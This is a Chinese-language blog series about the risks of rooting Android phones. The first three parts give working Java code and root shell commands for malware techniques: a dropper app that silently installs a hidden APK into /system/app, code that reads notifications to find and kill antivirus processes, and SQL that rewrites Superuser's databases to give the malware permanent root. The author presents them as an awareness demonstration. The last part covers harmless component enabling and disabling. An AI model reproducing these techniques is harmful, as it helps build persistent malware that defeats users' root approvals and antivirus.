前提:你有一部已经root的android手机,并且手机中有busybox和superuser
导读:
本文介绍一种简单的病毒以及如何“防御”。写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!
这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。
有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。
我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?
好吧,我们先来一次“静默安装”!
原理很简单,基本上相当于把apk push到手机里面,两个选择
data/app
system/app
如果我是病毒软件,我肯定选择push到system/app
我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)
首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(由于这里无法上传附件,请移步到 http://su1216.iteye.com/blog/1668734 下载real.apk)。
real.apk里有一个receiver,用来监听开机的广播
- android.intent.action.BOOT_COMPLETED
还有一个activity,没有什么实质内容,然后编译出apk,待用。
下面来制作壳子
新建一个android工程,将之前的real.apk复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的
- prepareButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- File dataFolder = getFilesDir();
- File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");
- copyFile("real.apk", jar, mResources);
- }
- });
其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码
- InputStream myInput = null;
- try
- myInput = resources.getAssets().open(filePath);
- ……
- catch
- ……
- finally
- ……
第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。
这里需要使用到busybox,命令如下
busybox mount -o remount,rw /systembusybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apkbusybox rm /data/data/com.example.fake/files/real.apk
之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)
当然superuser需要同意你使用root权限
至此,你的入侵行为已经全部完成!
- installButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- String packageName = getPackageName();
- String[] commands = { "busybox mount -o remount,rw /system",
- "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",
- "busybox rm /data/data/" + packageName + "/files/real.apk"};
- Process process = null;
- DataOutputStream dataOutputStream = null;
- try {
- process = Runtime.getRuntime().exec("su");
- dataOutputStream = new DataOutputStream(process.getOutputStream());
- int length = commands.length;
- for (int i = 0; i < length; i++) {
- Log.e(TAG, "commands[" + i + "]:" + commands[i]);
- dataOutputStream.writeBytes(commands[i] + "\n");
- }
- dataOutputStream.writeBytes("exit\n");
- dataOutputStream.flush();
- process.waitFor();
- } catch (Exception e) {
- Log.e(TAG, "copy fail", e);
- } finally {
- try {
- if (dataOutputStream != null) {
- dataOutputStream.close();
- }
- process.destroy();
- } catch (Exception e) {
- }
- }
- }
- });
- }
重启手机之后,real.apk就能工作了,它会接收到开机广播
如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的
real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。
如何防御?!
我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!
我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)
大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果
*********************************************************导读:
本文介绍杀毒软件和病毒是如何获取通知栏上的所有通知,并且利用其信息杀死应用。
上一篇将过如何利用root权限来做一次静默安装,有的人会说,安装apk就安装呗,反正哥有金山手机卫士,哥有360主动防御……他们都会弹出通知告诉我的!
安装了新的应用,手机会发送广播,这些所谓的杀毒软件监听这些广播,然后弹出通知
好吧,我承认,他们在一定意义上还是有点用处的,我们先把这个问题放一放,先来说两句题外话
360和和金山手机卫士都有一个让广大android开发者比较蛋疼的一个功能:那就是检查广告通知!
当有通知栏有广告的时候,运行360执行检查,它会告诉你是哪个应用程序的广告(当然,这里并不局限于广告,他们是获得所有通知,然后过滤),然后他会让用户选择:不处理;关闭通知(实际上是把这个进程kill掉,整个软件停止运行);卸载此软件。
虽然我没有发布过android应用,但是我知道,靠软件赚钱的各位,本来收入已经够尴尬的了,再加上这些操蛋的软件提供这些操蛋的功能……哎
大家不喜欢收费软件那咱们就免费,点点广告支持一下总行吧,就是不点,你就放在那呗(当然,有的软件发起广告来没玩没了也挺操蛋)
说了这么多废话,我们就来看看那些所谓的杀毒软件是如何对付大家的
到了关键的地方,实际也就那么一行代码……又让大家失望了。。。
adb shell dumpsys notification
比如,我现在在我机器上面执行一下,输出的结果为
Current Notification Manager state: Notification List: NotificationRecord{41453c70 pkg=com.zdworks.android.toolbox id=7f090092 tag=null pri=0} icon=0x0 /contentIntent=null deleteIntent=null tickerText=null contentView=null defaults=0x0 flags=0x62 sound=null vibrate=null ledARGB=0x0 ledOnMS=0 ledOffMS=0 NotificationRecord{415f48e8 pkg=com.zdworks.android.toolbox id=7f090080 tag=null pri=100} icon=0x7f0200fd / com.zdworks.android.toolbox:drawable/barttery_notify_icon contentIntent=PendingIntent{41949028: PendingIntentRecord{412e3c20 com.zdworks.android.toolbox startActivity}} deleteIntent=null tickerText=电量提示 contentView=android.widget.RemoteViews@416e7b90 defaults=0x0 flags=0x22 sound=null vibrate=null ledARGB=0x0 ledOnMS=0 ledOffMS=0 NotificationRecord{416db3e0 pkg=android id=1040414 tag=null pri=100} icon=0x10804f5 / android:drawable/stat_sys_adb contentIntent=PendingIntent{41275de8: PendingIntentRecord{416dade8 android startActivity}} deleteIntent=null tickerText=USB 调试已连接 contentView=android.widget.RemoteViews@416daf40 defaults=0x0 flags=0x2 sound=null vibrate=null ledARGB=0x0 ledOnMS=0 ledOffMS=0 NotificationRecord{41790de8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100} icon=0x7f020010 / com.htc.android.psclient:drawable/usb_to_pc_notify contentIntent=PendingIntent{416c3e38: PendingIntentRecord{417bc968 com.htc.android.psclient startActivity}} deleteIntent=null tickerText=null contentView=android.widget.RemoteViews@4169d128 defaults=0x0 flags=0x2 sound=null vibrate=null ledARGB=0x0 ledOnMS=0 ledOffMS=0 mSoundNotification=null mSound=com.android.server.NotificationPlayer@413e73b8 mVibrateNotification=null mDisabledNotifications=0x0 mSystemReady=true
现在大家知道了吧,这么简单就把咱们给搞定了
下面的事情就简单
1.想办法获取这段log
2.提取包名
3.根据数据库中的黑名单白名单不同处理
4.你的应用很可能在黑名单中,最后的结果也基本是进程被杀死
(这里就不演示3、4部分了,只演示1、2)
- testButton = (Button)findViewById(R.id.exec);
- testButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- String[] commands = { "dumpsys notification"};
- Process process = null;
- DataOutputStream dataOutputStream = null;
- try {
- process = Runtime.getRuntime().exec("su");
- dataOutputStream = new DataOutputStream(process.getOutputStream());
- int length = commands.length;
- for (int i = 0; i < length; i++) {
- Log.e(TAG, "commands[" + i + "]:" + commands[i]);
- dataOutputStream.writeBytes(commands[i] + "\n");
- }
- dataOutputStream.writeBytes("exit\n");
- dataOutputStream.flush();
- process.waitFor();
- BufferedReader reader = null;
- reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
- String line = "";
- List<String> lineList = new ArrayList<String>();
- final StringBuilder log = new StringBuilder();
- String separator = System.getProperty("line.separator");
- Pattern pattern = Pattern.compile("pkg=[^\\s]+");
- while ((line = reader.readLine()) != null) {
- if(line != null && line.trim().startsWith("NotificationRecord")){
- Matcher matcher = pattern.matcher(line);
- if(matcher.find()){
- lineList.add(matcher.group());
- }else{
- Log.e(TAG, "what's this?!");
- }
- }
- log.append(line);
- log.append(separator);
- }
- Log.v(TAG, "log:" + log.toString());
- int size = lineList.size();
- for (int i = 0; i < size; i++) {
- Log.i(TAG, "app:" + lineList.get(i));
- }
- } catch (Exception e) {
- Log.e(TAG, "copy fail", e);
- } finally {
- try {
- if (dataOutputStream != null) {
- dataOutputStream.close();
- }
- process.destroy();
- } catch (Exception e) {
- }
- }
- Log.v(TAG, "finish");
- }
- });
- }
上面的这段代码实在没什么技术含量,让给位网友见笑了
按顺序简单解释一下
首先,我们先执行dumpsys notification这条命令,这在上一期的代码中已经有了
然后通过process.getInputStream()获得其输出按行读取,这里只关心类似于下面这种的log
NotificationRecord{40dacad8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}
然后从中提取出包名即可
其中的正则就是为了提取包名用的,想了解正则的同学可以看我的正则教程
这里我执行的结果为(看来有一个应用提示了两个通知)
- app:pkg=com.zdworks.android.toolbox
- app:pkg=com.zdworks.android.toolbox
- app:pkg=android
- app:pkg=com.htc.android.psclient
之后的工作就是把这个list展示给用户,让用户去选择了
既然360可以这样,病毒为什么不可以呢?病毒Fake.apk可以在半夜偷偷安装应用Real.apk,几秒钟后,Fake.apk执行上面的这些操作,获取360,然后kill!爽!
大家有兴趣可以反编译一下金山和360,他们基本就是这么干的,我发现360比较坏,至于为什么这么说,大家自己去发现吧
ps:我使用的是卡巴斯基免费版,杀毒软件是不会去管有没有广告推送的,广告不是病毒,杀毒软件也不应该干一些不该干的事!
**********************************************************导读:
本文介绍病毒如何篡改superuser,使得用户只是允许病毒请求的一次root权限变成允许病毒永久使用root权限。
继续之前两篇文章写,如果路过的同学有疑问,请先看前两篇
有同学说,你的Fake.apk需要把应用copy到system下才行,这是需要root权限的。如果用户允许了你一次root请求,你当着用户的面copy,那么copy之后,系统会发送广播,告知有新的apk被安装,杀毒软件就会发现你。
是的,这确实是个问题,但是病毒就是病毒,总会想办法让你病倒的,别急。
superuser把数据记录到数据库中,那病毒为什么不去修改你的数据库呢?如果修改成功,那么岂不是永久获得了root权限,以后再也用不着你来批准我了,我自己批准!
很不幸,病毒如果获得了一次root权限,那么上面所说的事情是完全可以做到的。
我们来演示一下,我手机中装有superuser,版本为3.0.7
我还装了一个re管理器
首先,我们打开re管理器,这时候re管理器请求使用root权限,superuser会弹出提示,询问用户是否允许
我们点击允许之前,勾选“记住”,然后允许。
这一步是为了获取:应用获得永久root权限时,应该在superuser数据库插入什么样的数据。
然后我们将数据库导出
/data/data/com.noshufou.android.su/databases下面有两个数据库我们需要关注
su.db
permissions.sqlite
我们以permissions.sqlite为例,下图为表结构:
然后来看看病毒应该如何修改数据
病毒只需要关心几个字段
uid,包名,应用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1
病毒如何获得自己的包名和应用名,这个大家没什么疑问吧
ActivityManager.RunningAppProcessInfo中含有uid的信息
下面的代码可以获得当前应用的uid
- public static int getUid(Context context,String packageName){
- ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
- List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();
- int size = runningAppProcesses.size();
- ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;
- for (int i = 0; i < size; i++) {
- runningAppProcessInfo = runningAppProcesses.get(i);
- if(packageName.equals(runningAppProcessInfo.processName)){
- return runningAppProcessInfo.uid;
- }
- }
- return -1;
- }
好了,这个表已经搞定了,su.db和这个几乎一样,也就不再演示了。
最后的问题是,如何修改手机中的数据库,显然,我们使用sqlite3,但是有的手机居然没有这个问题,所以病毒很可能自己捆绑了一个,然后复制到system/bin或者system/xbin中
sqlite3从哪来?哪都有。。比如你可以从模拟器pull出来一份。
好了,全部搞定了
最终我们分两步
1准备sqlite3这个文件,以防万一
- prepareButton.setOnClickListener(new View.OnClickListener() {
- public void onClick(View v) {
- File dataFolder = getFilesDir();
- File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");
- copyFile("db/sqlite3", sqlite, mResources);
- }
- });
2申请root权限,一旦成功,那就修改数据库
- String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +
- "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";
- String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +
- "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";
- String[] commands = { "busybox mount -o remount,rw /system"
- ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"
- ,"busybox rm /data/data/" + packageName + "/files/sqlite3"
- ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"
- ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};
执行即可
从此,病毒就脱离你的掌控了,一发不可收拾
结语
由于本博客只是用于演示,所以有些不严密的地方。
比如:首次使用superuser之前,它的数据库的表可能还没有创建,所以有些sql操作可能会失败
我也不打算写个完整的病毒,这样一些人就会想着干一些不干净的事情。仅供学习交流
看来大家每次批准root之后,还要去superuser中的列表看看有没有什么异常才行
***********************************************************************导读:
本文介绍了如何实现禁止开机启动以及如何使应用失效。
希望大家不要制造各种流氓软件或病毒
这一期我们来关注以下某些优化软件的开机优化功能
禁止开机启动和禁止
很多软件都有开机优化功能,比如360,金山,海卓……
我觉得海卓页面还不错,所以就截一张海卓的图片吧
点击右边的小旗,会有一些选项,这里只说两个
开机启动
程序状态
在android 4.1(jelly bean)版本中,settings中查看应用信息的地方有一个disable按钮,如下图
disable 掉这个应用之后,在launcher列表中是查询不到的,也就是说,你无法启动这个应用了,也合理,但是如果你想enable就有些麻烦了。你得在 settings中的应用列表中找到这个应用(一般出厂的手机,都有几十个应用,再加上自己安装的,应用数量很容易就100+了),然后再enable, 这时候,launcher中就能再次看到这个应用了
(ps:还可以控制是否显示通知,这个功能估计大家都喜欢)
但是4.0及其之前的版本是没有disable这个功能的,但是如果root了手机,那么我们是可以实现这个功能的。
首选我们先看看手机中应用哪些是enabled的
- $ pm list package -e
- package:android
- package:cn.buding.coupon
- package:cn.buding.moviecoupon
- package:cn.chinabus.main
- package:cn.chinabus.metro.main
- package:cn.com.fetion
- ……
我看了一下我的手机,居然有249个enabled的程序,汗!
- $ pm list package -e | busybox wc -l
- 249
查看disabled的应用改下选项就可以了
- $ pm list package -d
我们先来看看pm都能做些什么
- pm list packages: prints all packages, optionally only
- those whose package name contains the text in FILTER. Options:
- -f: see their associated file.
- -d: filter to only show disbled packages.
- -e: filter to only show enabled packages.
- -s: filter to only show system packages.
- -3: filter to only show third party packages.
- -u: also include uninstalled packages.
- pm enable, disable, disable-user: these commands change the enabled state
- of a given package or component (written as "package/class").
这里只截取了一部分,详情请自行查看pm帮助
大家可以拿一个无关紧要的程序试试,disable再enable,看看launcher有什么变化(需要root权限,之前的查询是不需要root权限的),比如:
- pm disable cn.eoe.wiki
- pm enable cn.eoe.wiki
注:切换到root用户时,执行pm可能会出现段错误(android 4.0+)
- shell :/ # pm
- [1] + Stopped (signal) pm
- shell :/ # pm
- [2] + Stopped (signal) pm
- [1] - Segmentation fault pm
我们在执行pm之前,export一下LD_LIBRARY_PATH即可
- export LD_LIBRARY_PATH=/vendor/lib:/system/lib
我们可以查看一下这个变量
- echo $LD_LIBRARY_PATH
在我机器上面,普通用户是设置了这个变量的,切换到root的时候,这个变量就空了,所以需要重新export一下
第一个功能程序状态讲解就结束了。
其实大多数人关心的是第二个功能开机启动问题
首选,我们需要明确的是:我们需要知道哪些应用具有开机启动功能。
其实精确到应用还不可以,因为我们不是要把应用禁止掉,而是要把接收开机启动的Intent的receiver禁止掉,所以我们需要精确到class
首先我们来看看接收BOOT_COMPLETED的receiver在manifest中如何注册的
- <receiver android:name=".BootReceiver" android:enabled="true">
- <intent-filter>
- <action android:name="android.intent.action.BOOT_COMPLETED"/>
- </intent-filter>
- </receiver>
这里有一点是需要特别注意的: android:enabled="true"
enabled这个属性,大多数情况下我们是不显式写在这里的,当然,默认值就为true
禁止开机启动,其实就是设置接收BOOT_COMPLETED的receiver状态为disabled,即android:enabled="false"
首先要解决的就是如何获得所有接收BOOT_COMPLETED的receiver
开始我也搜索了一下,发现网上的很多方法都不可用,这里给大家说明一下:
错误方法1
- Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);
- List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_RESOLVED_FILTER);
这里返回的list都是enabled的receiver
错误方法2
- List<ApplicationInfo> allAppsList = mPackageManager.getInstalledApplications(0);
- int allAppsListSize = allAppsList.size();
- for (int i = 0; i < allAppsListSize; i++) {
- ApplicationInfo applicationInfo = allAppsList.get(i);
- PackageInfo packageInfo = mPackageManager.getPackageInfo(applicationInfo.packageName, PackageManager.GET_RECEIVERS);
- ActivityInfo[] receivers = packageInfo.receivers;
- if(receivers != null) {
- ……
- }
- }
这里获得的也都是enable的
错误方法3
有的人使用下面代码片断
- if (PackageManager.PERMISSION_GRANTED == mPackageManager.checkPermission("android.permission.RECEIVE_BOOT_COMPLETED", app.packageName))
检查package干什么?!
其实android原生给我们提供了如何获得所有component的api(enabled+disabled)
int android.content.pm.PackageManager.GET_DISABLED_COMPONENTS = 512 [0x200]
PackageInfo flag: include disabled components in the returned info.
这样,我们使用如下代码就可以了
- Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);
- List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_DISABLED_COMPONENTS);
然后我们需要知道组件的状态,disabled还是enabled
- ComponentName mComponentName = new ComponentName(resolveInfo.activityInfo.packageName, resolveInfo.activityInfo.name);
- Log.d(TAG, "COMPONENT_ENABLED_STATE:" + mPackageManager.getComponentEnabledSetting(mComponentName) + "\tpackageName:" + resolveInfo.activityInfo.packageName);
接下来的事情就简单了,如果你想禁止包名为package的应用开机启动,那么只需在上面list中,找到所有此包下的receiver,然后
- pm disable package/class
- pm enable package/class
即可
我们需要关注下面几个
如果是自己应用中想disable或者enable自己的组件,那么是不需要任何权限的,当然不能使用pm命令
在原生email(4.0)应用中,旧有此功能,我们来看看email的代码
void com.android.email.service.EmailBroadcastProcessorService.setComponentEnabled(Class<?> clazz, boolean enabled)
- private void setComponentEnabled(Class<?> clazz, boolean enabled) {
- final ComponentName c = new ComponentName(this, clazz.getName());
- getPackageManager().setComponentEnabledSetting(c,
- enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED
- : PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
- PackageManager.DONT_KILL_APP);
- }
void com.android.email.Email.setServicesEnabled(Context context, boolean enabled)方法中也有参考代码
至此,
开机启动
禁用程序
就全部讲解完了。
我们发现,海卓这个应用居然有这么多变态功能,居然可以禁止所有事件。。。这是不是过分了点,不过程序的原理应该都在我这篇博客之中了,我不太希望有禁止所有事件这种功能,那还不如把这个app删掉呢,何必折磨它呢?!
原文地址:http://blog.csdn.net/su1216/article/details/7928724